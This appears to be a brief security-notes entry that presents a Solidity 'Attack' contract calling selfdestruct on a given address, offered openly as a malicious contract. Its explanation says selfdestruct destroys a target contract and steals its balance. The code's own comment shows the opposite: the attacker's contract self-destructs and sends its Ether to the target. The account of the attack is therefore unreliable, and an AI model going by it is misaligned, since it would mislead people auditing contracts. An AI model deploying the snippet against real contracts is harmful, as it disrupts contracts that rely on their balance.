Create a Malicious Contract for Destructing Contract
Solidity’s ‘selfdestruct’ function may be used to destruct a target contract and steal the balance by an attacker.
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.0;
contract Attack {
function attack(address _address) payable public {
// the remaining Ether sent to _address when destructing
selfdestruct(_address);
}
}Last updated